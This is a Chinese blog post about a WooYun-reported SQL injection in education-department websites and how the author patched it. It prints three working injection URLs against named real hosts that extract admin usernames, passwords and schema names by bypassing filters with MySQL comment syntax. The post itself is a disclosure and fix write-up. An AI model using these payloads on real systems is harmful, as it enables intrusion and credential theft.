没想到wooyun.org上榜被抓sql inject

漏洞编号:WooYun-2012-04939
详细说明:
因其中简单过滤括号和空格,导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。
主站:http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin
高中课改网:http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,4,5,6,SCHEMA_NAME,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+/*!from*/+information_schema.schemata+limit 1,1
中考招生网:http://zkzs.e21.edu.cn/school/schindex.php?id=4328+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17+/*!from*/+information_schema.TABLES+/*!where*/+TABLE_SCHEMA=0x7A6478786A68+limit 1,1

还是由于sql注入的漏洞,以前虽然做了一些前端web的rewrite的处理,过滤了一些关键字符串,但是没有注意到mysql中通过注释字符也可以执行sql,这样当用户采用/**/select/**/或/*!select*/的构造仍然可以绕过URL的过滤。
所以对rewrite的部分规则进行了调整,如关键字左右非字母均rewrite:
$request_uri ~* “[^a-zA-Z]select[^a-zA-Z]”
个人感觉,开发人员在代码中的对引入变量的判断过滤才是最有效的方式,不过在这个单位系统人员和开发人员分割很开,这方面只能靠个人自觉尽力了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇